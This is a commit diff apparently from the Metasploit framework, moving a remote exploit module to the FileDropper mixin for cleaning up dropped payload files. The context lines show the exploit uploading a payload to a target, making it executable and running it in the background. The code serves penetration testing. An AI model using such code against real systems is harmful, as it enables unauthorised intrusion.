Use FileDropper mixin to delete uploaded file

bug/bundler_fix
Emilio Pinna 2014-08-11 19:02:09 +02:00
parent ac526ca9bd
commit 4790b18424
1 changed files with 2 additions and 8 deletions

View File

@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
@ -123,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
File.open(file_name, 'wb') { |f| f.write(data) } File.open(file_name, 'wb') { |f| f.write(data) }
unix_upload(file_name, data) unix_upload(file_name, data)
@to_delete = file_name register_file_for_cleanup(file_name)
request("/bin/chmod +x #{file_name}") request("/bin/chmod +x #{file_name}")
request("#{file_name}&") request("#{file_name}&")
@ -213,11 +214,4 @@ class Metasploit3 < Msf::Exploit::Remote
unix_stager(@pl) unix_stager(@pl)
end end
def on_new_session(client)
return unless defined? @to_delete
print_warning("Deleting #{@to_delete} payload file")
request("/bin/rm #{@to_delete}")
end
end end